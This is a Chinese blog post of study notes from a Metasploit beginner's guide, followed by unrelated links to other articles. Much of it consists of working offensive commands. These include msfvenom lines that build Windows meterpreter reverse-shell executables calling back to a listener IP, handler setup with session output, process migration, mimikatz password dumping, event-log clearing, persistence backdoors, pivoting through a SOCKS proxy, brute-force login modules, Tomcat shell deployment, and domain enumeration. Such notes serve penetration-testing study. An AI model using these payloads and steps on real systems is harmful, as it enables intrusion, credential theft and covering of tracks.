今天没上班,在小黑屋里看了一个一百多页的书《metasploit新手指南》,在此将笔记分享给大家。欢迎大家批评指正,共同学习进步。

 
 

metasploit新手指南

笔记 kali


0x01 
metapoit基本文件结构如下:

config metasploit的环境配置信息,数据库配置信息 
data渗透后模块的一些工具及payload,第三方小工具集合,用户字典等数据信息 
Db rails编译生成msf的web框架的数据库信息 
Documentation 用户说明文档及开发文档 
External metasploit的一些基础扩展模块 
Libs metasploit的一些基础类和第三方模块类 
Log metasploit运行时的一些系统信息和其他信息 
Modules metasploit的系统工具模块,包括预辅助模块(auxiliary),渗透模块(exploits),攻击载荷(payloads)和后渗透模块(posts),以及空字段模块(nops)和编码模块(Encode rs) 
Msfinscan 对bin文件偏移地址扫描 
Msfconsole metasploit的基本命令行,集成了各种功能。 
Msfelfscan对linux的elf文件便移地址进行扫描 
。 
msfmachscan 功能同msfelfscan 
msfpescan 对windows的pe格式文件偏移地址进行扫描。 
msfvenom 集成了msfpayload和msfencode的功能,效率更高替代了msf payload和msfencode 
Plugins metasploit的第三方插件接口. 
scripts metasploit的常用后渗透模块,区别与data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行。


0x02 
search 参数 
可以搜索到你metasploit存在利用模块 
use 参数: 
你想利用某个payload,或者某个模块都要用use参数。 
show options 参数 
他可以看到利用模块设置信息 
info 参数: 
他可以看到模块的所有的详细介绍信息 
set 参数: 
他是设置Basic targets选项,如set target 1 
set session 1 
back 参数: 
如果想重新选择一个新的利用模块就要用back返回。 
exit 参数: 
exit和back一样,一个是返回,一个是退出 
kill 参数: 
杀死一个进程。


0x03 
扫描阶段为了方便查看扫描的结果,那么就需要开启postgresql数据库。 
search portscanner 
use && 
show optionns 
run


0x04 
生成器msfvenom 
root@mvp:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.105.1 lPORT=8099 -f exe >shell.exe

0x05 
msfvenom编码生成 
https载荷突破防火墙的设置 
payload inject射入载荷(相当于把另一个payload添加进原有的会话id,从而返回一个新的绘画id) 
auto RDP Port 自动化开3389也可以开任意端口 
Inject in Memory 射入内存


0x06 
安卓payload生成


0x07 
cobaltstrike 
一款以metasploit为基础的GUI的框架式渗透工具。


0x08 
meterpreter命令分为: 
1、核心命令 
2、STDapi 文件指令 
3、STDapi 网络指令 
4、STDapi 用户接口指令 
5、STDapi web cam命令 
6、STDapi 文件系统命令 
7、Priv 提权命令 
8、priv 密码数据库命令 
9、Priv 时间戳命令 
攻击win7. 

root@mvp:/var/www/html# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.105.1 LPORT=6745 -f exe >win.exe 
No platform was selected, choosing Msf::Module::Platform::Windows from the payload 
No Arch selected, selecting Arch: x86 from the payload 
No encoder or badchars specified, outputting raw payload 
Payload size: 502 bytes 
Final size of exe file: 73802 bytes 
2

msf > use multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_https 
payload => windows/meterpreter/reverse_https 
msf exploit(handler) > set LHOST 192.168.105.1 
set lport 6745 
sessions 
sessions -i 1

migrate命令 
迁移目标机的一个进程到另一个进程 
meterpreter > getpid 
Current pid: 3232 
meterpreter > run post/windows/manage/migrate

[] Running module against PC-20170804GGMB 
[
] Current server process: win.exe (3232) 
[*] Spawning notepad.exe process to migrate to 
[+] Migrating to 3356 
[+] Successfully migrated to process 3356

脚本命令:rum_checkmv检查远程主机是虚拟机还是真正的主机。 
run getgui添加用户的命令 
run vnc看对方桌面 
run packetrecorder -i 0 查看目标系统的所有流量,并且进行数据包记录。 
load mimikatz 
clearev 清除事件日志


0x09 
一:获取meterpreter。 
1首先生成可执行文件 
root@mvp:~# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.105.1 LPORT=8934 -f exe > she.exe

 
  1. No platform was selected, choosing Msf::Module::Platform::Windows from the payload
  2. No Arch selected, selecting Arch: x86 from the payload
  3. No encoder or badchars specified, outputting raw payload
  4. Payload size: 543 bytes
  5. Final size of exe file: 73802 bytes```
  6. msf > **use multi/handler**
  7. msf exploit(handler) > **set payload windows/meterpreter/reverse_https**
  8. payload => windows/meterpreter/reverse_https
  9. msf exploit(handler) > **set LHOST 192.168.1.105**
  10. LHOST => 192.168.1.105
  11. msf exploit(handler) > **set LPORT 8934**
  12. LPORT => 8934
  13. msf exploit(handler) > **set SessionCommunicationTimeout 0**
  14. SessionCommunicationTimeout => 0
  15. msf exploit(handler) > **set exit0nsession false**
  16. exit0nsession => false
  17. msf exploit(handler) > **exploit -j**
  18. ---
  19. 二。Meterpreter基本隧道代理
  20. portfwd是meterpreter提供的一种基本端口转发,portfwd可以反弹单个端口到本地,并且监听。
  21. pivot是meterpreter的最常用的一种代理,可以轻松把你的机器代理到受害者内网环境下面介绍下pivot使用方法route add添加临时路由表。使用方法:route add添加临时路由表。
  22. 在metasploit添加一个路由表,目的是访问10.1.1.129,将通过meterpreter的会话1来访问。
  23. meterpreter>route
  24. meterpreter>run get_local_subnets 查看路由段
  25. 10.1.1.129 255.255.255.255 1 我们的路由标段是这个
  26. Ms exploit(handler)>route add 10.1.1.129 255.255.255.255 1添加路由至本地
  27. route print
  28. ===============================
  29. subnet netmask gateway
  30. 10.1.1.129 255.255.255.255 session 1

这里如果要代理10.1.1.129/24到session 1,则可以这么写。 
到这里pivot已经配置好了,你在msf里对10.1.1.129进行扫描(db_nmap)或者访问(psexe模块,ssh模块)将通过代理session 1 这个回话来访问,如果想通过其他应用程序来使用这个代理怎么办呢,这时候可以借助metasploit socks4a提供一个i监听隧道供其他应用程序访问。

首先使用sockes4a并且配置,监听端口 
msf > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description 
---- --------------- -------- ----------- 
SRVHOST 0.0.0.0 yes The address to listen on 
SRVPORT 1080 yes The port to listen on.

Auxiliary action:

Name Description 
---- ----------- 
Proxy

msf auxiliary(socks4a) > exploit -y 
[] Auxiliary module execution completed 
msf auxiliary(socks4a) > 
[
] Starting the socks4a proxy server

查看监听端口: 
msf auxiliary(socks4a) > netstat -ano | grep "1080" 
[*] exec: netstat -ano | grep "1080"

tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN off (0.00/0/0)

端口已经监听,接着配置proxychains

0x10 
权限维护。metasploit后门并不怎么好用,建议拿到控制权限后利用外部第三方后门。 
一msf中自带后门。 
persistence 
metsvc 
scheduleme & schtasks


0x11 
信息搜集 
要想很好的搜集信息并为了有一个良好的查看结果,那么我们要做好以下启动msfconsole的三步:启动数据库;查看数据库;链接数据库。

端口扫描:search portscan 
目前两大扫描模式:syn/tcp


smb_version识别windows的版本 
use auxiliary/scanner/smb/smb_version


mssql_ping默认mssql会监听1433端口或者一个随机的tcp端口,如果监听的是随机端口,可以通过UDP在1433端口查询具体监听的是哪个端口。 
use auxiliary/scanner/mssql/mssql_ping


ssh_version识别ssh软件版本 
auxiliary/scanner/ssh/ssh_version


ftp_version寻找目标网络中ftp server


 

暴力破解

kali自带字典路径 
/usr/share/metasploit-framework/data/wordlists

auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/http/tomcat_mgr_login

假设tomcat帐号密码爆破成功,下面可以拿shell: 
exploit/multi/http/tomcat_mgr_deploy


metasploit常见探测服务模块:

 

**端口扫描**

auxiliary/scanner/portscan 
scanner/portscan/ack 
scanner/portscan/ftpbounce ftp跳端口扫描 
scanner/portscan/syn 
scanner/portscan/tcp 
scanner/portscan/xmss tcp"xmss"端口扫描


 

smb扫描

auxiliary/scanner/smb/smb_enumusers smb枚举 
auxiliary/scanner/smb/pipe_dcerpc_auditor 返回dcerpc信息 
auxiliary/scanner/smb/smb2 扫描smb2协议 
auxiliary/scanner/smb/smb_enumshares 扫描smb共享文件 
auxiliary/scanner/smb/smb_enumusers 枚举系统上的用户 
auxiliary/scanner/smb/smb_login smb登录 
use windows/smb/psexec smb登录 
auxiliary/scanner/smb/smb_lookupsid 扫描组的用户 
auxiliary/scanner/smb/smb_version 扫描系统版本


 

mssql扫描

admin/mssql/mssql_enum mssql枚举 
admin/mssql/mssql_exec mssql执行命令 
admin/mssql/mssql_sql mssql查询 
scanner/mssql/mssql_login mssql登录工具 
另外还有一个mssql_payload模块


 

smtp扫描

auxiliary/scanner/smtp/smtp_enum smtp枚举 
auxiliary/scanner/smtp/smtp_version 扫描smtp版本


 

snmp扫描

auxiliary/scanner/snmap/community 通过snmp扫描设备 
scanner/snmap/community snmp扫描


 

ssh扫描

auxiliary/scanner/ssh/ssh_login ssh登录 
auxiliary/scanner/ssh/ssh_login_pubkey ssh公共 密钥认证登录 
auxiliary/scanner/ssh/ssh_version 扫描ssh版本测试


 

telnet扫描

auxiliary/scanner/telnet/telnet_login telnet登录 
auxiliary/scanner/telnet/telnet_version telnet版本


 

tftp扫描

auxiliary/scanner/tftp/tftpbrute 扫描tftp的文件 
scanner/ftp/anonymous ftp版本扫描


 

arp扫描

auxiliary/scanner/discovery/arp_sweep 
auxiliary/scanner/discovery/udp_prode 扫描UDP服务主机 
auxiliary/scanner/discovery/udp_sweep 检测常用的udp服务 
auxiliary/sniffer/psnuffle sniffer密码

scanner/vnc/vnc_none_auth vnc服务无认证扫描模块


 

web服务器信息扫描模块

auxiliary/scanner/http下面的http_version,open_proxy,robots_txt,frontpage_login,tomcat_administration,tomcat_utf8_traversal,options,drupal_views_user_enum,scraper,svn_scanner,trace,vhost_scanner,webdav_internal_ip,webdav_scanner,webdav_website_content


 

文件目录扫描模块

auxiliary/scanner/http/下的backup_file,brute_dirs,copy_of_file,dir_listing,dir_scanner,dir_webdav_unicode_bypass,file_sanme_dir,files_dir,http_put,ms09_020_webdav_unicode_bypass,prev_dir_same_name_file,replace_ext,soap_xml,trace_axd,verb__auth_bypass

auxiliary/scanner/dos/http/apache_range_dos


 

web应用程序扫描模块

auxiliary/scanner/http/blind_sql_query 
auxiliary/scanner/http/error_sql_injection 
auxiliary/scanner/http/http_tracersal 
auxiliary/scanner/http/rails_mass_assignment 
exploit/multi/http/lcms_php_exec


0x12 
反弹meterpreter 
尝试提权2012服务器 
尝试当前帐号bypass提权 
相关信息搜集 域信息搜集 
net user /domain 
net group "domain computer" /domain 
net group "domain admins" /domain 查看域管理员 
net localgroup administrators 
net view /domain 
信息分析获取一台服务器权限 
net user \ip\c内网渗透的工作:域信息搜集入侵 
mimikaz抓取明文 
查看抓取到的用户的详细信息net user xxx /domain

尝试使用域令牌假冒 
利用smb传递 
1使用当前获取到的两个用户权限,快速的进行扫描 
2smb_login扫描 
3端口转发进内网 
4meterpreter端口转发 
5msf的socks4a转发

+
 
 https://www.zybuluo.com/jasun/note/841229
好了,我要吃饭了,饿坏了,。

metasploit快速入门的更多相关文章

  1. Web Api 入门实战 (快速入门+工具使用+不依赖IIS)

    平台之大势何人能挡? 带着你的Net飞奔吧!:http://www.cnblogs.com/dunitian/p/4822808.html 屁话我也就不多说了,什么简介的也省了,直接简单概括+demo ...

  2. SignalR快速入门 ~ 仿QQ即时聊天,消息推送,单聊,群聊,多群公聊(基础=》提升)

     SignalR快速入门 ~ 仿QQ即时聊天,消息推送,单聊,群聊,多群公聊(基础=>提升,5个Demo贯彻全篇,感兴趣的玩才是真的学) 官方demo:http://www.asp.net/si ...

  3. 前端开发小白必学技能—非关系数据库又像关系数据库的MongoDB快速入门命令(2)

    今天给大家道个歉,没有及时更新MongoDB快速入门的下篇,最近有点小忙,在此向博友们致歉.下面我将简单地说一下mongdb的一些基本命令以及我们日常开发过程中的一些问题.mongodb可以为我们提供 ...

  4. 【第三篇】ASP.NET MVC快速入门之安全策略(MVC5+EF6)

    目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...

  5. 【番外篇】ASP.NET MVC快速入门之免费jQuery控件库(MVC5+EF6)

    目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...

  6. Mybatis框架 的快速入门

    MyBatis 简介 什么是 MyBatis? MyBatis 是支持普通 SQL 查询,存储过程和高级映射的优秀持久层框架.MyBatis 消除 了几乎所有的 JDBC 代码和参数的手工设置以及结果 ...

  7. grunt快速入门

    快速入门 Grunt和 Grunt 插件是通过 npm 安装并管理的,npm是 Node.js 的包管理器. Grunt 0.4.x 必须配合Node.js >= 0.8.0版本使用.:奇数版本 ...

  8. 【第一篇】ASP.NET MVC快速入门之数据库操作(MVC5+EF6)

    目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...

  9. 【第四篇】ASP.NET MVC快速入门之完整示例(MVC5+EF6)

    目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...

随机推荐

  1. 《javascript高级程序设计》笔记三

    第三章 基本概念 任何语言的核心必然会描述这门语言最基本的工作原理.这部分内容对我们来说,读起来很乏味,甚至会产生困意,但这部分内容却是重要的!我有幸拜读<JavaScript高级程序设计> ...

  2. 2017全球互联网技术大会回顾(附PPT)

    有幸遇见 GITC2017上海站,刚好遇见你! 为期两天(6.23~24)的GITC大会在上海举行,我有幸参加了24号的那场,也就是上周六,之所以今天才来回顾,是我想等PPT出来后分享给大家! 这应该 ...

  3. 【Android Developers Training】 0. 序言:构建你的第一个应用

    注:本文翻译自Google官方的Android Developers Training文档,译者技术一般,由于喜爱安卓而产生了翻译的念头,纯属个人兴趣爱好. 原文链接:http://developer ...

  4. 【Android Developers Training】 59. 管理图片存储

    注:本文翻译自Google官方的Android Developers Training文档,译者技术一般,由于喜爱安卓而产生了翻译的念头,纯属个人兴趣爱好. 原文链接:http://developer ...

  5. 【Android Developers Training】 25. 保存文件

    注:本文翻译自Google官方的Android Developers Training文档,译者技术一般,由于喜爱安卓而产生了翻译的念头,纯属个人兴趣爱好. 原文链接:http://developer ...

  6. Egret index.html设置

    <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <title> ...

  7. Maven下从HDFS文件系统读取文件内容

    需要注意以下几点 1.所以的包都是org.apache.hadoop.XXX 2.三个配置文件要放到指定文件夹中等待文件系统读取(src/main/resources):core-site.xml h ...

  8. 软考 程序员 下午考题 c语言 笔记

    1. 数组名 是表示数组空间首地址的指针常量,程序中不允许对常量赋值. 如 int  a[];   a就是数组名,表示数组控件首地址的指针常量 a = 0;是错误的,不允许对指针常量赋值 &a ...

  9. Java 上传下载的

    1.上传的步骤: a.导入SmartUpload.jar    b.创建一个上传的类的对象    c.初始化   d.上传至服务器   e.保存    注意:表单提交时需要指定enctype=&quo ...

  10. Struts2+Spring+Hibernate+Jbpm技术实现Oa(Office Automation)办公系统第一天框架搭建

    =============编码规范,所有文健,所有页面,所有数据库的数据表都采用UTF-8编码格式,避免乱码:===========开发环境:jdk1.7+tomcat8.0+mysql5.7+ecl ...